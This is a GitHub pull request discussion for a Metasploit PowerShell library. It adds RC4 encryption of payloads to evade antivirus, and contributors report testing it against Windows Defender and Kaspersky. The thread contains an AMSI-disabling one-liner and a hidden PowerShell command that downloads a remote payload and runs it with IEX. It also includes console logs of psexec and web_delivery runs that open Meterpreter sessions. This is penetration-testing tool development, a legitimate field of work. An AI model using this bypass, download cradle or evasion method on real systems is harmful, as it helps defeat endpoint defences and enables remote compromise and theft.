Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add option to use Invoke-Expression and RC4 #14

Merged
merged 16 commits into from Feb 21, 2020

Conversation

AdrianVollmer
Copy link
Contributor

@AdrianVollmer AdrianVollmer commented Jul 9, 2018

I called this option exec_no_wrap. I'm not sure if the name is sufficiently descriptive; feel free to change it.

AMSI is automatically disabled. See:
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

This also has the advantage of allowing larger payloads, such as a stageless
meterpreter. Encryption of the payload also helps with endpoint protection software that monitors HTTP traffic.

Successfully tested with up-to-date Windows Defender and Kaspersky Total
Security.

Related discussions:

A PR to metasploit-framework adding the advanced option exec_no_wrap to the web delivery module is planned.

AMSI needs to be disabled. See:
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

This has the advantage of allowing larger payloads, such as a stageless
meterpreter.

Successfully tested with up-to-date Windows Defender and Kaspersky Total
Security.
AMSI needs to be disabled. See:
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

This has the advantage of allowing larger payloads, such as a stageless
meterpreter.

Successfully tested with up-to-date Windows Defender and Kaspersky Total
Security.
@AdrianVollmer
Copy link
Contributor Author

Is the dependency on rc4 a problem?

@sempervictus
Copy link

@AdrianVollmer: I like the obfuscation approach, will try and merge this over the last stuff i added and see what it produces.
While the AMSI disable via

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

piece is viable at present to permit use of invoke-expression, i'd like to try and keep the code viable under AMSI if possible, which in this case is likely a matter of replacing the IEX with a &(...) block. This AMSI cat-and-mouse mess will go on ad nauseum, and having the functionality to disable its current incarnation in framework is nice, but i'd rather not have that hiding other things which will trip AMSI soon as disabling it is no longer an option.
Thanks for PRing this, i'll try to get it reviewed today/tomorrow and get back with some comments or code suggestions.

@bwatters-r7 bwatters-r7 self-assigned this Jul 13, 2018
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Aug 1, 2018

@AdrianVollmer I'm still trying to embrace the Ruby lifestyle, but I'm curious about the require rc4 causing this to fail Travis builds. Unfortunately, searching Google for require rc4 is pretty useless. Is this a public library? I cannot require it in an irb session, so I'm guessing it is not a built-in.

An error occurred while loading ./spec/rex/powershell/command_spec.rb.
Failure/Error: require 'rc4'
LoadError:
  cannot load such file -- rc4

I have been drawn to understand that my problem was ruby syntax related and rc4 is a builtin, so that begs more questions.....

@busterb
Copy link
Member

busterb commented Aug 1, 2018

rex-powershell may need ruby-rc4 added explicitly to its gemspec if it's not there already. It may be assuming that it gets it from metasploit's list of gems.

@busterb
Copy link
Member

busterb commented Aug 1, 2018

This should fix the specs:

~/projects/rex-powershell
$ git diff
diff --git a/rex-powershell.gemspec b/rex-powershell.gemspec
index 20784b2..031d5ae 100644
--- a/rex-powershell.gemspec
+++ b/rex-powershell.gemspec
@@ -26,4 +26,5 @@ Gem::Specification.new do |spec|
 
   spec.add_runtime_dependency 'rex-text'
   spec.add_runtime_dependency 'rex-random_identifier'
+  spec.add_runtime_dependency 'ruby-rc4'
 end

@AdrianVollmer
Copy link
Contributor Author

I'm not sure if it's public, but another metasploit module is also requiring it: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/crypto/rc4.rb

I'm also more of a python guy, but @busterb seems to know what he's talking about ;) thanks for the fix, I added the line

@AdrianVollmer
Copy link
Contributor Author

My coworkers have another situation right now where they could use this feature. Do you have a timeline on this? Is there something I can do to help get this merged?

@busterb
Copy link
Member

busterb commented Jan 14, 2019

Sure, taking a look. Sorry, having this as a separate repo often feels like more of a curse than a blessing in hindsight, for keeping track of things.

Copy link

@sempervictus sempervictus left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've merged this and used it a couple of times with some small changes, it works against 2008R2, 2016 is a bit of a mess with the defender/amsi stuff being all over the place depending on the patch level of the server.
With AMSI however, the IEX stuff doesn't fly. It seems to happily except the use of &(expr) instead of IEX expr, which IIRC were updated last year in this repo.
We can also randomize the var names in the template a bit more to reduce the number of sections they can sign for.
Also, Rex::Powershell knows how to substitute variable and function names (predates the RIG setup), so you can actually generate the PSH with sub_vars and sub_funcs to have it randomize on the fly.
I did a pull from upstream last night, will run this through its paces on current 2016 and 2008R2 this afternoon.
Thanks for updating the thread - notifications are a godsend.

RageLtMan added 2 commits January 14, 2019 17:55
Update template and function names to existing PSH convention for
indicating whether the payload is in-memory, removing the IEX name,
and indicating which platform it targets.
@sempervictus
Copy link

@AdrianVollmer: i've created a PR to your repo updating the naming convention a bit and replacing the IEX bit in another commit.

RageLtMan added 2 commits January 15, 2019 02:31
On 2016 this produces:
"This script contains malicious content and has been blocked by
your antivirus software."
On 2008R2 this crashes because AMSI doesnt exist.

Cull the line entirely, AMSI can be a problem for the PSH harness.
@sempervictus
Copy link

So i've gone through this a couple of times and it seems there's something wonky with either the input to the encoder/decryptor, or the decryptor itself.
I've tried replacing the RC4 implementation in payload.rb with the same one we use to encrypt the binary payloads:

diff --git i/lib/rex/powershell/payload.rb w/lib/rex/powershell/payload.rb
index b2196e1..8a3a811 100644
--- i/lib/rex/powershell/payload.rb
+++ w/lib/rex/powershell/payload.rb
@@ -1,6 +1,5 @@
 # -*- coding: binary -*-
 require 'rex/random_identifier'
-require 'rc4'
 
 module Rex
 module Powershell
@@ -117,9 +116,11 @@ module Payload
     rig.init_var(:var_key)
     rig.init_var(:random_string)
 
-    key = Rex::Text.rand_text_alpha(rand(8)+8)
-    rc4 = RC4.new(key)
-    enc_code = rc4.encrypt(code)
+    key = Rex::Text.rand_text_alpha(16)
+    rc4 = OpenSSL::Cipher.new('RC4')
+    rc4.decrypt
+    rc4.key = key
+    enc_code = rc4.update(code)
 
     hash_sub = rig.to_h
     hash_sub[:random_key] = key

to no effect, the output of ([system.Text.Encoding]::UTF8).GetString((<RANDOM_NAME_FOR_RC4_DECRYPT>([System.Convert]::FromBase64String(" is garbage:

?H?????   AQAPRQVH1?eH?R`H?R↑H?R H?rPH☼?JJM1?H1??<a|☻, A??A☺???RAQH?R ?B<H☺?f?x↑♂☻☼?r   ???...

I've tried using UTF8 and Unicode, same deal (latter produces question marks).
Somethings amiss either on my end or in the PR.

I've also made a few added changes to my PR on this PR, especially removing the AMSI line.
2008 and the like dont have AMSI, so that line crashes the script. On 2016, AMSI catches that line. Hardcoded AMSI bypasses in templates are a bad idea, its a fast moving target.

In the original version of the B64 trick, the text encoded is Unicode. I tried that as well by calling Rex::text.to_unicode(code) on the encryption op, but decrypted content is still messy (not quite as bad, but much longer obviously since Unicode is wider).

I'm guessing the PSH decrypt loop isnt quite working here, since base64 conversion is pretty straight forward...

@bwatters-r7
Copy link
Contributor

@sempervictus I may be just not understanding git, but it looks like your PR (AdrianVollmer#1) is targeted to AdrianVollmer:master and this branch is AdrianVollmer:iex-rc4?

@sempervictus
Copy link

Yeah, even with manual URL construction GH won't let me MAKE a PR against the correct branch. It only allowed me to pull against @AdrianVollmers master. Sorry about that.

@AdrianVollmer
Copy link
Contributor Author

Thanks for the improvements, I merged your branch onto the right one.

@busterb
Copy link
Member

busterb commented Apr 25, 2019

Hi, it looks like the conflict resolved in command.rb first. Then probably we need to determine if rapid7/metasploit-framework#11257 (comment) is still a bug?

@AdrianVollmer
Copy link
Contributor Author

I resolved the conflict. Not sure what the bug is supposed to be or how to reproduce it.

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented May 30, 2019

Reminder to myself (or anyone) The catch here is twofold:

  1. It appears that RC4 in powershell does not match the implementation in Ruby. We need to verify that you can use one to encode and the other to decode.
  2. We need to verify this runs fine on powershell 1.0 (spec test on XP)

@AdrianVollmer
Copy link
Contributor Author

I believe the RC4 implementations match. As a test, I wrote two small scripts. They both create a sequence of 10000 pseudo random numbers and encrypt them with the key abcdefghjikjlmnopqrstuvwxyz. The ruby version and the PowerShell verion

The sha256 hash of both results match:

Algorithm       Hash                                                                   Path                                                                                                   
---------       ----                                                                   ----                                                                                                   
SHA256          0A480D5F20B57D8E287ECCBB383A1565F77F3C0892A37D4352790E3611B34F1C                                                                                                              
SHA256          B3D613A56891B6FEA507EA9569728BE69490D598D56B19903FBC4BD20B591F81    
$ ruby test.rb
0a480d5f20b57d8e287eccbb383a1565f77f3c0892a37d4352790e3611b34f1c
b3d613a56891b6fea507ea9569728be69490d598d56b19903fbc4bd20b591f81

Do you have any other ideas on what to test? Or why exactly do you believe the implementations don't match?

@bwatters-r7
Copy link
Contributor

Hey there..... I want to land this, so I brought in the changes locally, updated the gem, and after an hour or so of reversing what this does, I added the rc4 option to Msf::Exploit::Powershell. I guess there's more to it than that, because it fails:

msf5 exploit(windows/smb/psexec) > show advanced

Module advanced options (exploit/windows/smb/psexec):

   Name                              Current Setting                                         Required  Description
   ----                              ---------------                                         --------  -----------
   ...
   Powershell::method                reflection                                              yes       Payload delivery method (Accepted: net, reflection, old, msil, rc4)
   ...

msf5 exploit(windows/smb/psexec) > set POWERSHELL::method rc4 
POWERSHELL::method => rc4
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                192.168.132.195  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               vagrant          no        The password for the specified username
   SMBUser               vagrant          no        The username to authenticate as


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4567             yes       The listen port
   RHOST     192.168.132.195  no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/smb/psexec) > run

[*] 192.168.132.195:445 - Connecting to the server...
[*] 192.168.132.195:445 - Authenticating to 192.168.132.195:445 as user 'vagrant'...
[*] 192.168.132.195:445 - Selecting PowerShell target
[*] 192.168.132.195:445 - Executing the payload...
[+] 192.168.132.195:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.132.195:4567
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > set POWERSHELL::method reflection
POWERSHELL::method => reflection
msf5 exploit(windows/smb/psexec) > run

[*] 192.168.132.195:445 - Connecting to the server...
[*] 192.168.132.195:445 - Authenticating to 192.168.132.195:445 as user 'vagrant'...
[*] 192.168.132.195:445 - Selecting PowerShell target
[*] 192.168.132.195:445 - Executing the payload...
[+] 192.168.132.195:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.132.195:4567
[*] Sending stage (206403 bytes) to 192.168.132.195
[*] Meterpreter session 1 opened (192.168.213.130:43689 -> 192.168.132.195:4567) at 2019-10-24 10:26:45 -0500

tmoosendmeterpreter > sysinfo
Computer        : WIN10X64_1809
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
tmoosendmeterpreter > 

AdrianVollmer added a commit to AdrianVollmer/metasploit-framework that referenced this pull request Oct 26, 2019
This options makes use of RC4 for encrypting powershell payloads. See
rapid7/rex-powershell#14.
@AdrianVollmer
Copy link
Contributor Author

Sorry, I should have been clearer.

You are using a new method, as if this was an alternative to "reflection" or "dotnet". However, in my opinion, RC4 encryption can be used on top of the method. It does not matter how the shellcode is injected, whether by reflection or by using .NET. The way you use it, I believe shell code ends up directly in a PowerShell script, which obviously cannot be executed.

That's what I meant by the option exec_no_wrap. I realize now I could have called it more appropriately, so I made another commit to rename it to exec_rc4. But now I'm not sure if this is clear enough to the user. The main point of this PR is that PowerShell code is invoked directly and not via command line, allowing for larger payloads. (The other point was an AMSI bypass but I understand this is a rapidly moving target.)

The required commit (which I plan to submit as a pull request to metasploit-framework) can be seen here: AdrianVollmer/metasploit-framework@814c28e

This works on Windows 10 with a stageless https payload:

$ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
[...]
15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
[*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
[*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
[*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
[*] [2019.10.26-15:43:34] Server started.
[*] [2019.10.26-15:43:34] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
[*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : SYSS-AVOLLMER-W
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x64
System Language : de_DE
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

I also tested it on a Win7 machine. Unfortunately I do not have an XP machine right now.

@bwatters-r7 bwatters-r7 merged commit abdcf2f into rapid7:master Feb 21, 2020
AdrianVollmer added a commit to AdrianVollmer/metasploit-framework that referenced this pull request Feb 23, 2020
This options makes use of RC4 for obfuscating powershell payloads. See
rapid7/rex-powershell#14.

Now that the PR in rex-powershell has been merged, I am submitting this
PR which provides the new option powershell::exec_rc4 to make use of the
functionality added by the other PR. It enables using unstaged payloads
in web_delivery and obfuscates everything with RC4.

At first I wanted to include an AMSI bypass, but the maintainers were
against it, as it is a rapidly moving target. However, please note that
I'm using the same idea in another project of mine
(https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original
AMSI bypass still works when obfuscating each string with RC4.

For verification and testing, the following output shows the steps you
need to take (here all included in the command line). Obviously, LHOST
needs to be adjusted.

    $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
    [...]
    15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
    [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
    [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
    [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
    [*] [2019.10.26-15:43:34] Server started.
    [*] [2019.10.26-15:43:34] Run the following command on the target machine:
    powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
    [*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
    [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
    sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > sysinfo
    Computer        : SYSS-AVOLLMER-W
    OS              : Windows 10 (10.0 Build 18362).
    Architecture    : x64
    System Language : de_DE
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants